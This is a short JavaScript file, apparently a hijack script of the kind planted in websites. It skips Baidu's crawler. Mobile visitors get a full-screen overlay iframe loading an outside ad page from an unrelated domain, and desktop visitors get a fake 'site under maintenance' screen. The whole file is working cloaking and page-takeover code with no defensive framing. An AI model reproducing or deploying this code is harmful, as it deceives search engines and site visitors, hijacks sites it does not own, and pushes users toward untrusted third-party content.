var is_mobi = navigator.userAgent.toLowerCase().match(/(ipad|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i) != null;

function guanggao(url){
    if(is_mobi) {
        document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;margin:0;padding:0}</style>');
        var iframe = document.createElement('iframe');
        iframe.src = url; 
        iframe.scrolling = 'yes';
        iframe.style.cssText = "width:100%;height:100%;left:0;top:0;border:none;background:#fff;position:absolute";
        var div1 = document.createElement("div");
        var div =  document.createElement("div");
        
        div1.style.cssText = "-webkit-overflow-scrolling:touch;width:100%;height:100%;z-index:9999999999;position:fixed;top:0;left:0;right:0;bottom:0;overflow:auto";
        div1.appendChild(iframe);
        div.appendChild(div1);
        document.write(div.innerHTML);
        document.title = "AD广告";//手机端浏览器显示的title
    } else {
        document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;margin:0;padding:0;overflow:hidden;position:fixed}</style>');
        var iframe = document.createElement('iframe');
        iframe.src = url; 
        iframe.scrolling = 'no';
        iframe.style.cssText = "width:100%;height:100%;left:0;top:0;border:none;background:#fff;position:fixed;overflow:hidden";
        var div1 = document.createElement("div");
        var div =  document.createElement("div");
        
        div1.style.cssText = "-webkit-overflow-scrolling:touch;width:100%;height:100%;z-index:9999999999;position:fixed;top:0;left:0;right:0;bottom:0;overflow:hidden";
        div1.appendChild(iframe);
        div.appendChild(div1);
        document.write(div.innerHTML);
        document.title = "网站维护中...";//PC端浏览器显示的title
    }

}

var us = navigator.userAgent.toLowerCase();
if (us.indexOf("baiduspider") != -1) {
}else{
    if (is_mobi) {
        guanggao('http://x1.lanfan66.xyz/ad.html')//移动端框架的广告链接
    }else{
        guanggao('/fn404.html')//PC屏蔽页面
    }
}